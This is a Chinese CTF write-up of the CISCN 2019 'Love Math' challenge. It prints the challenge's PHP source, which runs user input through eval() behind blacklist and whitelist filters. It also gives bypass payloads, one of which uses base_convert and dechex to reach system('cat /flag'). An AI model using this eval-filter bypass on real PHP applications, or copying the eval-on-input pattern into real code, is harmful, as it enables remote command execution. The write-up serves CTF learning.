【原创】记一次ctf实战—— CISCN-2019-初赛-Love Math (失败)

admin 2022年12月3日16:41:11评论30 views字数 1795阅读5分59秒阅读模式

[huayang]

【原创】记一次ctf实战—— CISCN-2019-初赛-Love Math (失败)

进去看看

【原创】记一次ctf实战—— CISCN-2019-初赛-Love Math (失败)
 <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

哎,审计审计

别急,先试一试序列化和编码绕过

【原创】记一次ctf实战—— CISCN-2019-初赛-Love Math (失败)
【原创】记一次ctf实战—— CISCN-2019-初赛-Love Math (失败)

果然还是被拦截了

看来只有老老实实的审计了

scandir() 函数:返回指定目录中的文件和目录的数组。
base_convert() 函数:在任意进制之间转换数字。
dechex() 函数:把十进制转换为十六进制。
hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。
var_dump() :函数用于输出变量的相关信息。
readfile() 函数:输出一个文件。该函数读入一个文件并写入到输出缓冲。若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。
语法:readfile(filename,include_path,context)

并且还规定长度不能超过80

flag

$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}

这里唯一能使用的就是fuzz脚本,不知为何

相对于这种此环境行不通

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat%20/flag

推荐文章:https://www.cnblogs.com/20175211lyz/p/11588219.html

https://blog.csdn.net/weixin_43940853/article/details/104332132

https://blog.csdn.net/miuzzx/article/details/104817391

https://www.cnblogs.com/Wanghaoran-s1mple/p/13558460.html

[/huayang]

FROM:浅浅淡淡[hellohy]

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月3日16:41:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【原创】记一次ctf实战—— CISCN-2019-初赛-Love Math (失败)https://cn-sec.com/archives/1443378.html

发表评论

匿名网友 填写信息